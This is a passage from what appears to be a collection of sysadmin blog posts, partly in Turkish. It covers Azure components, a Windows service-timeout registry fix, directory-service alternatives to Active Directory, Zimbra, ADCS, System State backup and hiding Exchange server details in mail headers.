dengeleyicileri, gelen trafikleri birden fazla sanal makineye dağıtarak yükü dengelemek için kullanılır. Bu sayede uygulamaların performansı artırılır ve yüksek kullanılabilirlik sağlanır. Veritabanı (Database): Azure veritabanları, SQL ve NoSQL gibi çeşitli veritabanı türlerini destekler. Veritabanları, veri depolama, yedekleme, kurtarma ve yönetim gibi özellikler sunar. Fonksiyon (Function): Azure fonksiyonları, kodu çalıştıran ve belirli bir işlevi gerçekleştiren küçük birimlerdir. Bu sayede uygulama geliştirme süreci kolaylaşır ve hızlanır. Uygulama Hizmeti (App Service): Uygulama hizmetleri, web uygulamaları ve mobil uygulamaların hızlı bir şekilde oluşturulmasını ve dağıtılmasını sağlar. Anahtar Tutmak (Key Vault): Anahtar Tutmak, gizli verilerin saklanması, korunması ve yönetimi için kullanılır. Bu özellik, şifreler, sertifikalar ve diğer hassas veriler gibi gizli verilerin korunmasını sağlar.  Azure’nin En Önemli Bileşenleri Nelerdir? Azure, bir dizi hizmet ve bileşenden oluşan geniş bir platformdur. En önemli bileşenler şunlardır: Azure Virtual Machines: Sanal makineler oluşturmak için kullanılır. Windows veya Linux tabanlı sanal makineler oluşturabilir ve yönetebilirsiniz. Azure App Service: Web uygulamaları, mobil uygulamalar ve API'ler için bir platform sağlar. Bu hizmet, uygulama geliştiricilerinin uygulamalarını hızlı bir şekilde oluşturmasını, dağıtmasını ve ölçeklendirmesini sağlar. Azure Storage: Veri depolama ve yönetim için kullanılır. Blob depolama, dosya depolama ve veri tabanı hizmetleri gibi birçok seçeneği içerir. Azure SQL Database: İlişkisel veri tabanı hizmetidir. Bu hizmet, yönetilen bir SQL veritabanı sunucusu sağlar. Azure Active Directory: Kimlik doğrulama ve erişim yönetimi için kullanılır. Bu hizmet, tek oturum açma özelliği ve çok faktörlü kimlik doğrulama gibi birçok güvenlik özelliği sunar. Azure Networking: Ağ oluşturma, bağlanma ve yönetme için kullanılır. Bu hizmet, sanal ağlar, ağ geçitleri, yük dengeleyicileri ve DNS hizmetleri gibi birçok seçeneği içerir. Azure DevOps: Uygulama yaşam döngüsü yönetimi için kullanılır. Bu hizmet, yazılım geliştirme, test ve dağıtım süreçlerini otomatikleştirmek için bir dizi araç sağlar. Azure Cognitive Services: Yapay zeka ve makine öğrenimi için kullanılır. Bu hizmet, konuşma tanıma, yüz tanıma ve dil çevirisi gibi birçok API'yi içerir. Azure Internet of Things (IoT): IoT uygulamaları için kullanılır. Bu hizmet, IoT cihazlarının toplanması, analizi ve görselleştirilmesi için bir dizi araç sağlar. Bu, Azure platformunda bulunan en önemli bileşenlerin sadece birkaçıdır. Azure, bir dizi hizmet ve araç içeren geniş bir platform olduğu için, her bileşenin kendi alt bileşenleri vardır. Azure’nin En Önemli Uygulamaları Nelerdir? Microsoft Azure, birçok farklı uygulamaya ev sahipliği yapar. Bunlar arasında şunlar yer alır: Sanal makineler: Azure, farklı boyutlarda ve kapasitelerde sanal makineler sunar. Bu sanal makineler, işletmelerin ihtiyaç duyduğu kaynaklara ve hizmetlere göre özelleştirilebilir. Depolama: Azure, farklı depolama seçenekleri sunar. Blob depolama, dosya depolama, arşiv depolama, tablo depolama ve kuyruk depolama gibi depolama seçenekleriyle işletmelerin farklı ihtiyaçlarına uygun çözümler sunar. Veritabanı: Azure, SQL veritabanı hizmetleri sunar. Ayrıca NoSQL veritabanı gibi farklı veritabanı seçenekleri de sunar. Analitik: Azure, analitik hizmetleri sunar. Bu hizmetler sayesinde işletmeler, büyük veri kümelerini analiz edebilir ve raporlayabilir. Yapay Zeka: Azure, yapay zeka hizmetleri sunar. Bu hizmetler sayesinde işletmeler, makine öğrenimi ve veri madenciliği gibi alanlarda çalışmalar yapabilir. İnternet of Things (IoT): Azure, IoT için hizmetler sunar. Bu hizmetler sayesinde işletmeler, cihazlar ve sensörler aracılığıyla veri toplayabilir ve yönetebilir. Web ve Mobil Uygulama: Azure, web ve mobil uygulama geliştirme için hizmetler sunar. Bu hizmetler sayesinde işletmeler, uygulama geliştirme sürecini hızlandırabilir ve daha iyi bir kullanıcı deneyimi sunabilir. Azure’nin En Büyük Avantajı Nedir? Azure'nin en büyük avantajlarından biri, kullanıcıların işletmeleri için uygun bir şekilde özelleştirilmiş bir çözüm oluşturabilmesidir. Ayrıca, işletmelerin mevcut altyapılarını ve uygulamalarını kullanmalarına olanak sağlayan bir hibrit bulut çözümü sunmaktadır. Diğer avantajları arasında: Küresel ölçekte mevcut: Azure, dünya çapında pek çok bölgede mevcuttur. Bu, kullanıcıların iş yüklerini yüksek kullanılabilirlik ve düşük gecikme süresi sağlayacak şekilde konumlandırabilmeleri anlamına gelir. Ölçeklenebilirlik: Azure, işletmelerin ihtiyaçlarına göre ölçeklenebilir ve esnek bir yapı sunar. İşletmeler, iş yüklerinin artması durumunda ek kaynakları kolayca ekleyebilirler. Güvenlik: Azure, işletmelerin verilerinin ve uygulamalarının güvenliğini sağlamak için çeşitli güvenlik özellikleri sunar. Bu özellikler arasında kimlik doğrulama, erişim kontrolü, veri şifreleme ve güvenlik duvarı bulunur. Yönetim kolaylığı: Azure, işletmelerin altyapılarını ve uygulamalarını kolayca yönetmelerine olanak tanır. Azure portalı, kullanıcıların hizmetlerini kolayca izlemelerini, yapılandırmalarını değiştirmelerini ve sorunları çözmelerini sağlar. Yüksek performans: Azure, işletmelerin yüksek performans gerektiren uygulamaları için özel olarak tasarlanmış birçok hizmet sunar. Bu hizmetler arasında yük dengeleme, bellek optimizasyonu ve veritabanı yönetimi bulunur. Maliyet tasarrufu: Azure, işletmelerin ölçeklenebilirliği sayesinde yalnızca kullandıkları kaynaklar için ödeme yapmalarını sağlar. Bu, işletmelerin maliyetlerini azaltmalarına yardımcı olur. Azure’nin En Büyük Dezavantajı Nedir? Azure gibi bulut hizmetleri de dahil olmak üzere herhangi bir teknolojinin dezavantajları da vardır. Bunlar şunları içerebilir: Fiyat: Azure, özellikle küçük ölçekli işletmeler için yüksek maliyetli olabilir. Hizmetlerin kullanımına bağlı olarak faturalar hızla artabilir. Öğrenme eğrisi: Azure gibi bulut platformları, kullanıcıların ilk başta öğrenmesi gereken birçok terim ve kavramla birlikte gelir. Bu, yeni başlayanlar için başlangıçta kafa karıştırıcı olabilir. Güvenlik: Bulut hizmetleri, verilerinizi çevrimiçi depolama ihtiyacı olduğundan güvenlik açısından endişeler doğurabilir. Ancak, Azure gibi güvenlik önlemlerine sahip olan bulut hizmetleri, güvenlik konusunda endişeleri gidermek için birçok özellik sunar. Bağımlılık: Azure ve diğer bulut platformları, verilerinizi ve uygulamalarınızı buluta taşımak anlamına gelir. Bu nedenle, bağımlılık yaratma riski vardır. Bulut hizmeti sağlayıcılarından birinin hizmetlerinde bir sorun yaşandığında, verileriniz ve uygulamalarınız etkilenebilir. Bu nedenle, bir yedekleme planı ve verilerinizi yedekleme stratejisi oluşturmak önemlidir. İnternet Bağlantısı: Azure ve diğer bulut hizmetleri, İnternet bağlantısı gerektirir. Bu nedenle, yavaş veya kesintili bir İnternet bağlantısı, bulut hizmetleri kullanırken performans sorunlarına neden olabilir. Son olarak toparlarsak; Azure, günümüzün en popüler ve etkili bulut bilişim platformlarından biridir. İşletmeler ve bireyler için birçok avantaj sunar, özellikle yüksek performans, yüksek ölçeklenebilirlik, güvenilirlik, esneklik ve düşük maliyet gibi özellikler sayesinde tercih edilir. Bununla birlikte, her platform gibi Azure'nin de bazı dezavantajları vardır, örneğin, öğrenme eğrisi, hizmetler arasındaki karmaşıklık, fiyatlandırma sorunları ve bazı hizmetlerin sınırlı özellikleri gibi. Özetlemek gerekirse, Azure, kullanıcıların iş yüklerini ve uygulamalarını daha verimli bir şekilde yönetmelerine olanak tanıyan güçlü bir bulut bilişim platformudur. Ancak, seçim yapmadan önce, işletmenizin ihtiyaçlarına, ölçeğine ve bütçesine göre diğer platformlarla da karşılaştırmalısınız. Saygılarımla – Best Regards --- ## The service did not respond to the start or control request in a timely fashion Link: https://farukguler.com/posts/the-service-did-not-respond-to-the-start-or-control-request-in-a-timely-fashion/ Microsoft Windows Service Control Manager is a mechanism that controls the states of Windows services or Apps (starting, stopping, pausing). However, certain configurations, technical limitations, missing DLL files , or performance issues are subject to a timeout that forces them to cancel and shut down. this time By default, it is 30,000 milliseconds (30 seconds). If the service you are trying to start takes too long to respond, the job will be (kill) cancelled. and it will return the Error "Error 1053: The service did not respond to the start or control request in a timely fashion".Let's get rid of this problem with "Regedit". & Microsoft Windows Service Control Manager, Windows uygulama ve hizmetlerin (başlatılması, durdurulması, duraklatılması) durumlarını denetleyen bir mekanizmadır. Ancak, belirli yapılandırmalar, eksik DLL dosyaları, teknik kısıtlamalar veya performans sorunları, onları iptal etmeye ve kapanmaya zorlayan bir zaman aşımı süresine tabidir. bu süre Varsayılan olarak, 30.000 milisaniye (30 saniye) dir. Başlatmaya çalıştığınız hizmetin yanıt vermesi çok daha uzun sürerse, iş (kill)iptal edilecektir. ve "Error 1053: The service did not respond to the start or control request in a timely fashion" Hatasını döndürecektir.gelin bu sorundan "Regedit" sayesinde kurtulalım. Open New > DWORD (32bit) Value and create new key. Name the key "ServicesPipeTimeout" and set the value to (300000). If you have the value, set it to (300000). New > DWORD (32bit) Value öğesini açıp yeni anahtar oluşturun. Anahtarı "ServicesPipeTimeout" olarak adlandırın ve değeri (300000) olarak ayarlayın. Eğer değer sizde mevcutsa bunu (300000) olarak düzenleyin. Reg: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ ServicesPipeTimeOut Add: ServicesPipeTimeOut 300000 (5 minute) or Edit: ServicesPipeTimeOut 300000 (5 minute) Saygılarımla – Best Regards --- ## Zabbix "VeeamVssSupport" (VeeamVssSupport) is not running Link: https://farukguler.com/posts/veeamvsssupport-is-not-running/ -I don't see this service in the Services list. Should I? -Should this service be stopping? -Should I tell ServerAssist to no longer start this service when it sees that it is stopped? Reply: +VeeamVssSupport is not a service and you should not see it in the Services list. It is a non-persistent runtime "agent" that is automatically deployed to the VM when you make a backup, and it is normal for it to stop during the backup (after performing a VSS freeze). -Bu hizmeti Hizmetler listesinde göremiyorum. Ne Yapmalıyım? -Bu hizmet durdurulmalı mı? -ServerAssist durdurulduğunu gördüğümde bu hizmeti başlatmalı mıyım? Yanıt: +VeeamVssSupport bir hizmet değildir ve onu Hizmetler listesinde görmemelisiniz. Yedekleme yaptığınızda VM'ye otomatik olarak dağıtılan kalıcı olmayan çalışma zamanı "aracı"dır ve yedekleme sırasında (VSS dondurması gerçekleştirildikten sonra) durması normaldir. --- ## 22 Best  [Directory Services] Alternatives to Microsoft Active Directory Link: https://farukguler.com/posts/22-best-directory-services-alternatives-to-microsoft-active-directory/ Active Directory is designed for Microsoft Windows domain networks and is a special purpose database. It comes as a set of processes and services attached with most Windows server operating systems. A server that runs the Active Directory Domain Services is the domain controller that validates and gives a go ahead to all users and machines in Windows domain network. This helps appoint and apply security codes for all machines and for installation or software update. So, if a user tries to log in to your Windows domain computer, Active Directory authenticates the password entered, identifies and differentiates between a system administrator and a regular user. Active Directory is specially developed to read a large number of modifications and updates made to your computer. However, there are quite a few third-party alternatives to Microsoft Active Directory nowadays that perform the same job while they offer a different kind of features. Today in this post we will guide you through the top alternatives to Microsoft Active Directory that will help you to make your choice appropriately. Table of Contents: Zentyal 389 Directory Server Red Hat Directory Servers Apache Directory Open LDAP Univention Corporation Server (UCS) Lepide Auditor for Active Directory JXplorer FreeIPA Samba GoSa eDirectory OpenSSO KOOZALI SME Server Manager Resara Server Sun Java System Directory Server IBM Tivoli Directory Server Windows NT Directory Services Lotus Domino Zentyal Zentyal offers a directory server which is naturally compatible with MS Active Directory. Manage your IT framework from a sole point of user management, despite the various offices and locales. Some of the features offered by the directory server are, central domain directory management, SSO (single sign-on) validation, multiple organizational systems, management of printers, contacts, users, delivery lists, security groups, antivirus system with unified quarantine for file server, and many more. 389 Directory Server 389 Directory Server is a fully-featured business-class open source and free LDAP server for the Linux platform that makes a great alternative to the Microsoft Active Directory. What’s interesting about it is that it is seasoned with use in the actual world, aids multi-master repetition, and already manages several biggest LDAP distributions across the globe. The best part is that it is available to download for free and can be assembled within an hour with the help of the graphical interface. The LDAP server is high performing that can manage innumerable operations per second and over tens of thousands parallel users. It boasts of an extensive directory that is limited only by disk space, that offers high performance, convenience to expand and multi-mater repetition, the 389 Directory Server can fulfill paramount demands. Red Hat Directory Servers Manage user access to multiple systems effortlessly with Red Hat Directory Server in a UNIX environment. Providing locally saved information becomes quite difficult as the number of users and systems goes high in a UNIX environment. In this case, the Red Hat Directory Server becomes handy as it allows you to store the user details in its LDAP based server that makes the system extensible, secure and convenient. Among the many benefits that it offers are, data protection with restricted access to directory data, provides deep control based on the identity of user, role identity, domain name, group membership, etc., offers a base for compelling certificate-based validation, lets you access through various methods remotely or through validation procedures and much more. Apache Directory An open source software by the Apache Software Foundation, Apache Directory offers solution completely written in Java that includes the LDAP V3 certified directory server. It is certified by the Open Group n 2006 and also by the Eclipse based database utilities. Apart from LADP, Apache Directory also supports other codes along with Kerberos server. The eclipse based directory tool, Apache Directory Studio added by a subproject includes a schema browser, DSML editor, LDAP editor/browser, LDIF editor, etc. An eclipse RCP application, the Apache Directory is made of several plugins based on Eclipse that can be conveniently upgraded with additional options. Open LDAP Open LDAP or LDAP Admin is a free and open-source application of the Lightweight Directory Access Protocol (LDAP) designed by the OpenLDAP project. It’s a Windows LDAP client and administration tool for LDAP database control. One of the best alternatives to MS Active Directory that is present for the administrator, Open LDAP lets you browse, look up, change, create and remove items on LDAP server. Some of the other functionalities offered by this project are scheme browsing, managing password, support for the binary attribute, export & import LDIF, and more. Univention Corporation Server (UCS) Univention Corporation Server is a server software that is used for profitable operations and convenient control of server applications and complete IT operations. This server operating system is adopted from Debian GNU/Linux with a combined management system for the central and multi-platform control of servers, clients, desktops, users, and services including the transitive machines operated in the UCS. The Univention Corporation Server, since its upgrade to Version 3.0 also started supporting functions offered by Microsoft Active Directory to many companies for the administration of machines controlled with MS Windows with the help of assimilation of Samba 4 (an open source software). Lepide Auditor for Active Directory Control Active Directory changes using the powerful software, Lepide Auditor for Active Directory. It was specifically designed to offer a tool to manage the directory changes. It can trail both modifications and unravel the ones that are undesirable. It lets you quickly view who made the changes, what changes, when and where. The best part is that it also lets system audits even where audit logs are not present. Among its other features are,  control panel for all audited systems, customizable control panel views, build up all audit logs to one central location, creating a business view instantly for who is making modifications and what’s being modified and more. It also notifies you whenever it detects any critical changes. JXplorer Designed by eTrust Directory development lab by Computer Associate, JXplorer is a free, open source and multi-platform LDAP browser and editor which is a standard compliant general purpose LDAP client that is fit to be used for look up, read and modify any standard LDAP directory or X500 directory with DSML interface. It’s believed to be an extremely flexible that can be customized in many different ways. Written in Java, the software has its build system and source code in svn or available as a bundled build for those who wish to analyze or develop the program furthermore. JXplorer comes with a built-in reporting regulatory and security utilities. FreeIPA Backed by Red Hat, FreeIPA is one of their ambitious projects that is free and open source project, that intends to offer Identity, Policies and Audit suites chiefly aiming towards Linux and Unix computer networks. Currently packaged with RHEL 6.2, this project aims to adapt many of the features offered by Active Directory. Among its several features are assimilated security information management solution that incorporates Linux, NTP, DNS and more, assembled with Open Source components and standard codes, robust focus on convenience of administration and mechanization of installation and configuration functions, complete multi-master duplication of elevated repetition and flexibility, and expandable management interfaces such as, XMLRPC, CLI, WEB UI, etc. Samba Samba is an open source and free CIFS implementation that runs on Unix platforms and works towards a harmonious coexistence of Unix and Windows. While it runs on Unix, it speaks to the Windows clients in a way as if it belongs to them. What we like is that it lets Unix shift to a Windows Network Neighborhood without any fuss, followed by which Windows users can access the print and file services effortlessly, without knowing or bothering the benefits offered are by the Unix system. This project is able to manage all this through a code of conduct currently called as CIFS or “Common Internet File System”. Samba has been moved over to different non-Unix hosts such as, NetWare, AmigaOS and VMS. Exclusive file server programs also support CIFS via several different vendors which make it available almost everywhere. GoSa If you want to administer accounts and systems in LDAP directory, GOsa2 is a great alternative to Active Directory that furnishes you with a robust GPL’ed structure. Effortlessly manage your applications, mail sharing lists, users and groups, fat and thin clients, phones and faxes and several other guidelines using GOsa2. This tool also grants the highly mechanized installation of pre-organized systems in affiliation with “Fully Automatic Installation” (FAI). So, you, therefore, have a sole, LDAP-based point of control for big and small settings. This helps make the user and system administrations and any other relevant specifications convenient and manageable. GOsa is a famous project in France, Spain, Germany, Belgium and other countries in USA and Europe that helps to assimilate the fresh open source configuration easily. Their web page clusters all those who are interested in this project and enables them to shares the information on this project in several different languages. eDirectory Novell’s eDirectory is one of the primary alternatives to the MS Active Directory. It is an adaptation of Novell’s original project called as network operating system directory which was set up to support the Netware environment of the brand. It then eventually evolved into a high-performance and mission-critical element to aid the developing role of the directory services in IT. eDirectory is one of the highly used directories that boasts over 28K customers and majority of the Fortune 1000 organizations using the product. It is chiefly used for the large-scale distributions with one of its special strengths being able to scale. It comes with security features and supports SASL, DSML, LDap, Soap and security standards juslt like the Active Directory. OpenSSO Open SSO (Single Sign-On) is an open source and cross-platform access control and federation server podium. It also provides web services security in a sole, autonomous application. Enhanced for both internal web access control and extranet validation offering secure and integrated access management within the business and beyond, Oracle Open SSO is developed with repeatable and extensible tasks for faster placement of numerous situations and creates aligned mashups from internal and associate applications and web services to develop a lone view for the end user. It lets the customers to swiftly and reasonably widen the reach of business while retaining the high security parameters. KOOZALI SME Server Manager SME Server by Koozali is an open source, exhaustive, safe, solid and an accomplished Linux server circulation designed for small to medium scale businesses. It’s built upon robust CentOS/Redhat sources and offered to you by a huge, active and talented community that provides advancement, plugins and support since the year 2007. It is a free to use software that offers some unique features making it a notably safe, stable and easy to use server platform that is developed so that it’s simple to assemble and use, safe and stable to be used, and multi-platform and expansible to deal with future requirements. Koozali SME Server is remarkably trustworthy and easy to operate, and can be installed and set up within 20 minutes. Best of all, it’s still powered by safe and open Linux system that can be entirely upgraded and customized. Resara Server Resara Server is an open source server built for small sized businesses and that is compatible with Active Directory. This project is free and is designed around Samba 4. It is developed to be straightforward and easy to operate. The control panel allows you to control users, share files and set up DHCP and DNS. It consolidates all the pieces, provides a clean graphical user interface, and comes with a fair documentation. The free version of Resara Server comes with user management, file shares, active directory-style domain controller, automatic drive mapping for Windows clients and network host management. Sun Java System Directory Server Currently known as the Oracle Directory Server Enterprise Edition, the Sun Java System Directory Server was a Sun Microsystem’s LDAP database and DSML server written in C. The original software was available to download for free forever for commercial use, service providers, research purposes or individual needs, and is still available to download at the Oracle web page which is the new official destination for Sun products. You can find only the latest version on the Oracle website. The fact that the original product, Sun Java System Directory Server had many issues with the C language and hence, it started with the OpenDS in 2011. And since then the code base has not yet been updated. IBM Tivoli Directory Server IBM Tivoli Directory Server is an IBM implementation of the LDAP or the Lightweight Directory Access Protocol. It is a directory especially designed for the enterprises that target the corporate intranet and the Internet. For faster development and distribution of identity control, security and web application initiatives by adding robust management, impression and security features, the BM Security Directory Server is built in to meet the needs. This server includes multiple validation methods that are beyond just usernames and passwords. It also supports validation based on digital certificate, SASL (Simple Authentication and Security Layer), Kerberos validation and CRAM-MD5 that is, Challenge Response Authentication Mechanism MD5. The IBM Tivoli Directory Server is based on LDAP framework that offers a base for deploying a complete identity control applications and progressive software planning. Windows NT Directory Services NTDS or Windows NT Directory Services is the directory services utilized by the MS Windows NT to find, control and arrange network resources. It makes use of domains, directory integration and trusts to provide users with Windows NT networks of enterprise level. These usually have the skills like, single sign-on capability, centralized way of administration, and the permission to access resources from anywhere in the enterprise. So, if you are using Windows NT domains to create an efficient enterprise-level directory services a few factors should be kept in mind such as, the domain model used or the number of domains required, number of domain managers required to assist the number of users, the deployment of support domain controllers to ensure effective directory integration of directory services, and the deployment of BDCs to ensure efficient logon and resource validation over sluggish WAN links. Lotus Domino Previously known as Lotus Domino, IBM Domino is the client server of a collective client-server software platform sold by IBM. It was previously the server component of Lotus Corp’s client-server messaging automation. It is an IBM server application platform that is utilized for messaging, email, collaboration and scheduling. Not just that, it also provides other enterprise collaboration services like, calendars, to-do lists, file sharing, blogs, discussion forums, micro blogging, user directories, and more. It can also be used in collaboration with other IBM Domino utilities and directories. It is a desktop system application that is commonly used in corporate setups for email use, but can also be used to access directories like, document databases and custom utilities. --- ## What is Zimbra? Detailed Guide to Zimbra Mail Server Link: https://farukguler.com/posts/what-is-zimbra-detailed-guide-to-zimbra-mail-server/ Zimbra; Used as an alternative to the Microsoft Exchange email platform; It is an open source technology used for messaging and collaboration, consisting of features such as task management system, document management system, calendar management system and other advanced search options. There are two Zimbra email server versions available;1: Open source version2: Commercially supported version. The commercial version of Zimbra gives users tablet, mobile, laptop, etc. It is an email solution widely used by companies for professional and official requirements as it provides the flexibility to work from virtually anywhere using any device. Zimbra mail server also enables small businesses to get the most out of what they already have without having to invest large sums of money in a large-scale enterprise solution. This flexibility gives small businesses a number of benefits. In addition, Zimbra leverages the latest web-based innovations that most large-scale enterprise solutions fail to do. For administrators, this means easier administration, better security, and improved performance. For end users, it means it's easier to find and share what you want. In Zimbra Webmail platform you can use “Email, Contacts, Calendar, File sharing, IM, video conferencing and Zimlets” etc. to connect with your customer. you can have every component very easily. You usually need to purchase any version of Zimbra to use its features. With the lowest price on the market compared to its competitors, Zimbra offers a lower TCO (Total Cost of Ownership) than market-leading Microsoft Exchange and other on-premises systems available on the market. Used in more than 140 countries, Zimbra Webmail has more than 500 service providers worldwide, more than 1,000 government and financial institutions have trusted Zimbra to date, and more than 200,000 businesses worldwide use Zimbra in the cloud. Types of Zimbra Webmail Clients Zimbra Webmail is available in 2 versions for its users: Standard Web Client: It is an HTML-based version that you can browse and use on very low internet connections. This version is very useful when your internet connection is low or you are using 2G-3G internet connection. Advanced Web Client: Offers a complete set of Ajax-based web collaboration with access to every feature of the Zimbra Webmail client. This version requires a computer with powerful browsers such as Google Chrome and Mozilla Firefox, high internet speed and good features. Both these versions are also used in Gmail Desktop. So you can associate Zimbra Webmail client types with the Gmail Desktop version. Switching between versions in Zimbra Webmail software is as easy as switching between versions on the Gmail desktop. You won't have any difficulties switching from Standard Web Client to Advanced Web Client or vice versa. Zimbra WebMail Client Overview and Features 1- Chat Start chatting with a simple click. Show your mood while chatting with emojis. Invite and remove users from friends list and assign nicknames. Communicating with other users directly from within the Zimbra Web Client. Ability to switch between four status messages such as Available, Away, Do Not Disturb or Invisible.Ability to chat with your users by enabling Zimbra Chat Zimlet. 2 -Calendar Start chatting with a simple click. Show your mood while chatting with emojis. Multi-Tab Event Creation (makes it unnecessary to switch between calendar and email) Invite attendees from the Global Address List (GAL), view free/busy status, and set optional/mandatory. Setting start-stop and duration times that are automatically set for users in other time zones. Drag and drop events to change the date, time or duration. Switching the visibility and color code between multiple programs and events. Mark events as public, private, busy. Tag events, email, share contacts for faster organization. Providing configurable popup, email and SMS reminders. Fully customizable recurring event settings. 3- Partnership Sharing Inbox mail folders, Address Book contacts, Calendars, Tasks, Briefcase folders and files. Choose internal (read, manage, or administrative access) or external publish (view only with a password or public URL). Providing a standard sharing user interface integrated with the Global Address List. Configuration of all available settings for users by the Administrator. 4- Zimlets (Thirth) 3. party data sources (WebEx) or internal back office systems. New functionality can consist of simple navigations (view maps, calendar schedules) or completely new application tabs (Zimbra Social). Admins configure which Zimlets are available to users and can further refine usage preferences within the deployed set. 5- E-mail Immediate filtering of direct messages, distribution lists, feeds and notifications. View inbox by message or conversation. Drag and drop messages into folders or Tags. Share tags between apps and mailboxes. Move bulk or junk emails from Inbox to Activity feeds. Messages can have multiple Labels and act as “virtual folders”. 6- Search Providing simple interface to quickly filter common attributes or add complex logical operators. Easily provision offline capabilities with Zimbra Desktop or similar standards-based client. Searching in email bodies and over 200 different attachment types. Search through email, contacts, events, tasks and documents There are many more features that you will see after purchasing and using the Zimbra Webmail package. But for a smooth use, you need to have a computer with good features. You will also need a good internet connection and a powerful browser for access. If your computer has 4-8 GB of RAM installed, it is recommended that Google Chrome would be a good choice. The more powerful your computer, the easier it is to access the Zimbra Webmail client. Thanks to the standard version, it is possible to access it even from low-spec devices such as a computer with 2GB of RAM. What are the Advantages of Zimbra? Secure Email Server Zimbra; It facilitates comprehensive mailing solution, including integration with email, shared calendar, online document sharing, video calling, real-time chat collaboration, online secure drive storage, advanced search capabilities, end-to-end encryption, anti-spam, and email archiving. It provides a unified interface ready for deployment on remote servers or on-premises servers. Accessible from Anywhere for Employees Zimbra; makes it possible for users with an active internet connection to access Zimbra mailbox between their devices from anywhere in the world.Hosted on the cloud server, the person can view their email, calendar and contacts on the go. You can use Zimbra on Mac/Linux/Windows devices as long as you have an internet connection. This is a pretty good option for those who work remotely and need flexibility. Synchronization Zimbra; Provides data synchronization feature. You can easily synchronize mailbox data, contacts and calendar information with open source mail clients such as Thunderbird / Evolution, popular proprietary software such as Mac Mail and Microsoft Outlook, or with the help of ActiveSync protocol. You can also get two-way sync with many mobile devices. Management Benefits It has an almost unlimited number of benefits to management. Below we have listed some of these benefits for you: -Lower total cost of ownership -Comprehensive Hierarchical Storage Management for seamless access -Easy support for multiple domains -Restore a single mailbox at any time -Backup and Anti-spam facility -Feature-rich, Ajax-driven interface -Get real-time system activity in the navigable dashboard -Unified command line tools facility Availability of SOAP APIs for execution of management action Consolidated server and storage Compatibility with existing hardware infrastructure Open formats Substantial elimination in the warehouse Bidirectional integration with enterprise-level applications Microsoft Outlook, Mozilla Thunderbird etc. ability to connect with Single Sign-on, TLS / SSL HTML rendering Opening a secure mail attachment Multi-level caching Active Directory and LDAP integration Built-in SpamAssassin and Clam AV Offering compatibility with existing anti-spam via Postfix Open source Zimbra availability And many more…... Self Organized Mailbox and Shared Calendar Zimbra; It offers a clean and navigable mailbox with powerful and fast search capabilities. It also provides a saved search option between folders and lets you view conversations in mail folders as well. A smooth and powerful calendar is required by every business to keep every meeting lined up on time. Zimbra also offers group scheduling and calendar sharing. You can also export the calendar in ICS format or export it to another .ics compatible client. Zimbra Cloud Allows Real-Time Collaboration Because data is stored in the cloud rather than on local machines, different workers on the same project can collaborate in real time. Customers Get Higher Uptime and Reliability Zimbra; If it is hosted in the cloud and the server is unavailable for some reason, the system immediately switches to secondary sources to provide you with uninterrupted mail service. In summary, Zimbra can provide you with all the essential features that micro, small and medium businesses need for communication purposes. Cost-effectiveness is also a huge benefit when compared to similar enterprise solutions, Zimbra. This is why big brands have been installing Zimbra servers without hesitation in recent years. If all the benefits of Zimbra mail server excite you, try Zimbra and see the tremendous impact on your email communication workflow. --- ## Disabling Shutdown Event Monitor Link: https://farukguler.com/posts/shutdown-event-tracker-disabled/ In order to solve the related problem, after I find and delete the values I have selected in the screenshot below via regedit, my problem is solved. There is no need to reboot the machine. When you close and reconnect, you can see that Event Tracker no longer opens. You can turn off this warning via local GPO, but you will not receive any warning for problems that occur afterwards. REG: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability #DirtyShutdown #DirtyShutdownTime --- ## Whats is Active Directory Certificate Services(ADCS) Link: https://farukguler.com/posts/active-directory-certificate-services/ This article, I will talk about the definition of Active Directory Certificate Services (ADCS) Active Directory Certificate Services is used to create and manage certificates for server and software security systems. It also provides issuance, verification and tracking of certificates. Some supported servers and applications:Skype For Business (Lync), IIS, VPN (Virtual Private Network), Exchange Server, Remote Desktop Connection (RDP), Secure Wireless Networks, IPSec, EFS, Smart Card logon, Secure Socket Layer, Transport Layer Socket and Terminal Service Active Directory Certificate Services, with its public key infrastructure, is a service that uses public key technologies and is used in software security systems. I would like to briefly talk about the roles and services of the service; Certification Authority (CA):-Web Enrollment-Online Responder-Network Device Enrollment Service-Certificate Enrollment Policy Web Service-Certificate Enrollment Web Service-Now let's talk about a brief description of these roles and services. Certification Authority (CA)This service is used for issuing and managing certificates to users, computers and servers. Two options are available as Root or Subordinate. Web EnrollmentIt allows users to perform certificate creation and certificate revocation requests using the web interface. It is the management screen. Online ResponderIt is used during the process of accepting and canceling the requests of the users regarding the certificates they have requested. At the end of the certificate evaluation process, the Online Responder service evaluates the status and sends back the information containing the status information of the transactions related to the requested certificate by signing. Network Device Enrollment ServiceIt is used to obtain certificate information about Routers and devices on the network. It is also a service that enables network devices on the domain to receive certificates. Certificate Enrollment Policy Web ServiceThis feature is used to obtain information about certificate enrollment policies created by active users and computers on the Web Service. It ensures that certificates are automatically uploaded to user and computer accounts that are not members of the domain, within the framework of determined policies. Certificate Enrollment Web ServiceCertificate Enrollment Web Service is an Active Directory Certificate Services service that enables Users and Computers to perform certificate enrollment using the HTTPS authentication protocol. I hope it was useful. --- ## What is System State Backup and Restore? Link: https://farukguler.com/posts/what-is-system-state-backup-and-restore/ System State Backup and Restore, also known as (Active Directory Backup) is actually used in environments without Active Directory and backs up boot files and windows operating system files and registry contents in the boot partition. However, the general use of the application today is (taking an Active Directory backup).The items that the application can fully back up are as follows; Boot Files OS files (%windir%) Internet Information Services metadirectory Registry Cluster Services info Active Directory Certificate Services database Active Directory database and log files COM+ Class registration database Sysvol share folder (directory with group policy and scripts) We need the Windows Server Backup application to perform the backup process. The application does not come installed by default. First we need to install it. --- ## Hiding Server Name and Ip Address in mail Header in Exchange Link: https://farukguler.com/posts/hiding-mail-header-in-exchange/ If you are using a Microsoft Exchange Server with default settings in your company, the hostname and IP address information of your Exchange Server will be forwarded to the recipients in the header section of the mail content sent by the users. For security reasons, many administrators do not want Exchange server computer names and IP addresses to appear in the message header. In this article, we will cover removing Exchange Server computer names and IP address from email header. #First of all, let's learn the Exchange Server send connector name Get-SendConnector #Identity AddressSpaces Enabled #-------- ------------- ------- #Dis-email {SMTP:*;1} True Then find the send connector permissions assigned to Security principals. The security principal is NT AUTHORITY\ANONYMOUS LOGON Get-SendConnector "Dis-email" | Get-ADPermission | Where-Object { $_.ExtendedRights -like "*routing*"} | Format-table User,AccessRights,ExtendedRights We need to remove Ms-Exch-Send-Headers-Routing permission from NT 